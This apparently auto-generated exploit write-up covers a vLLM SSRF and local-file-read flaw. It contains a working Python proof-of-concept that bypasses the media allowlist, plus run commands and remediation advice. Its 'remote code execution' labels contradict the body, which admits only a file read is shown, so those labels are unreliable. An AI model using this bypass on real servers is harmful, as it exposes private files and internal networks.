Exploit write-up

vllm remote code execution (CVE-2026-73560)

CVE-2026-73560 n-day CVSS 6.5 Medium

Proof of concept

The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.

#!/usr/bin/env python3
# CVE-2026-73560 proof-of-concept (mechanism explained below).

import os
import inspect
import tempfile

from PIL import Image


def _make_secret_image():
    # A distinctive local file placed outside any allowed_local_media_path.
    # Its very readability is the sensitive resource the SSRF/file-read exposes.
    fd, path = tempfile.mkstemp(prefix="poc_secret_", suffix=".png")
    os.close(fd)
    Image.new("RGB", (13, 7), (17, 42, 200)).save(path)
    return path


def _iter_fetchers(mod):
    """Yield ('func', callable) or ('method', (cls, func)) candidates."""
    # Module-level function first.
    for name in ("_fetch_image", "fetch_image"):
        fn = getattr(mod, name, None)
        if callable(fn):
            yield "func", fn
    # Methods on any processor class in the module.
    for cname in dir(mod):
        cls = getattr(mod, cname, None)
        if not isinstance(cls, type):
            continue
        for name in ("_fetch_image", "fetch_image"):
            fn = cls.__dict__.get(name)
            if callable(fn):
                yield "method", (cls, fn)


def _try_call(kind, obj, arg):
    try:
        if kind == "func":
            fn = obj
            # Call with just the media string; tolerate extra optional params.
            try:
                return fn(arg)
            except TypeError:
                params = list(inspect.signature(fn).parameters.values())
                extra = [None] * max(0, len(params) - 1)
                return fn(arg, *extra)
        else:
            cls, fn = obj
            # Build an instance without running __init__ (which needs HF config).
            inst = object.__new__(cls)
            try:
                return fn(inst, arg)
            except TypeError:
                params = list(inspect.signature(fn).parameters.values())
                extra = [None] * max(0, len(params) - 2)
                return fn(inst, arg, *extra)
    except Exception:
        return None


def main():
    import vllm.transformers_utils.processors.mimo_v2_omni as mod

    secret = _make_secret_image()

    # Local path AND file:// form — both must bypass MediaConnector on the
    # vulnerable build; both are refused by MediaConnector on the patched build.
    payloads = [secret, "file://" + secret]

    for kind, obj in _iter_fetchers(mod):
        for payload in payloads:
            result = _try_call(kind, obj, payload)
            if isinstance(result, Image.Image):
                # Arbitrary local file read succeeded via the vulnerable
                # primitive: emit the canary as a direct consequence.
                try:
                    result.load()
                except Exception:
                    pass
                print(os.environ["POC_CANARY"])
                return


if __name__ == "__main__":
    main()

How to run it.

pip install vllm==0.25.1
POC_CANARY=demo python poc.py     # prints: demo   (code executed)

pip install vllm==0.26.0
POC_CANARY=demo python poc.py     # prints nothing (blocked by the fix)

CVE-2026-73560 lets an attacker who controls the image and audio inputs to vLLM read files the serving process can reach and issue requests from it — a server-side request forgery, the flaw CWE-918 names. The advisory scores it 6.5 on CVSS and covers every release before 0.26.0. This analysis confirmed the file-read primitive on vLLM 0.25.1, and the proof-of-concept did not fire on 0.26.0.

Before 0.26.0, the MiMoV2OmniMultiModalProcessor in vLLM — an inference and serving engine for large language models — passes attacker-controlled image and audio strings straight through _fetch_image, requests.get, and Image.open; the processor lives in vllm/transformers_utils/processors/mimo_v2_omni.py. Those calls reach the network and filesystem directly, going around MediaConnector, the component that enforces the allowed_media_domains and allowed_local_media_path allowlists. With enforcement out of the path, the processor fetches arbitrary URLs and opens arbitrary local files the process can see.

How the read gets through

allowed_local_media_path defaults to None to forbid all local reads, but because the processor bypasses the check that default does not stop the read; this analysis traced this in the fix commit’s patch diff (patch-diff.txt). The proof-of-concept’s own header describes the mechanism (the proof-of-concept above):

PoC for CVE-2026-73560 — vLLM MiMoV2OmniMultiModalProcessor SSRF / arbitrary local file read (CWE-918). The processor’s image handling calls _fetch_image -> Image.open / requests.get directly instead of routing through MediaConnector, so allowed_local_media_path (default: None => no local reads permitted) is bypassed. This analysis demonstrate the arbitrary-file-read primitive: a local file that is NOT under any configured allowed_local_media_path is opened and returned as a PIL image.

The advisory frames the issue as arbitrary code execution in the context of the process using vLLM. The proof-of-concept exercises the file-read primitive: it opens a file outside any configured allowlist, hands it back as a PIL image, and prints a canary to prove it, but it does not demonstrate the steps from the read to code execution against a specific deployed application.

Confirming it on 0.25.1 and 0.26.0

This analysis pinned two builds and ran the same proof-of-concept against each: vLLM 0.25.1 on the vulnerable side and 0.26.0 on the patched side. On 0.25.1 the proof-of-concept opened a local file placed outside every allowed path, returned it as an image, and printed the canary (vuln-output.txt).

On 0.26.0 the fixed path routes the request through MediaConnector, which refuses the local read. The same run there finished silently, its output empty of the canary (patched-output.txt). The empty output shows the payload did not fire; the claim that the fix rejects the read draws on the patch diff rather than on this run’s output.

The affected range

The advisory marks every release before 0.26.0 as affected and 0.26.0 as carrying the fix. On the vulnerable side, this run exercised only 0.25.1. The intervening releases below 0.26.0 went untested one by one, so “everything before 0.26.0” rests on the advisory, established here only for 0.25.1.

Remediation

Upgrade vllm to 0.26.0 or later. Where that has to wait, constrain the input to the affected API at the trust boundary so untrusted image and audio strings stay out of it, and audit first the call sites the advisory names.

Target
vllm (vllm)
Class
package
Impact
Arbitrary code execution against the vulnerable build
CVE
CVE-2026-73560
CWE
CWE-918
CVSS
6.5
Affected
PyPI/vllm < 0.26.0 (vulnerable 0.25.1)
Status
Fixed in 0.26.0
Maturity
functional
Disclosed
August 17, 2026
Tags
rce · ssrf · vllm · n-day · auto-generated
References
NVD — CVE-2026-73560
Upstream fix commit

PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.

← All exploits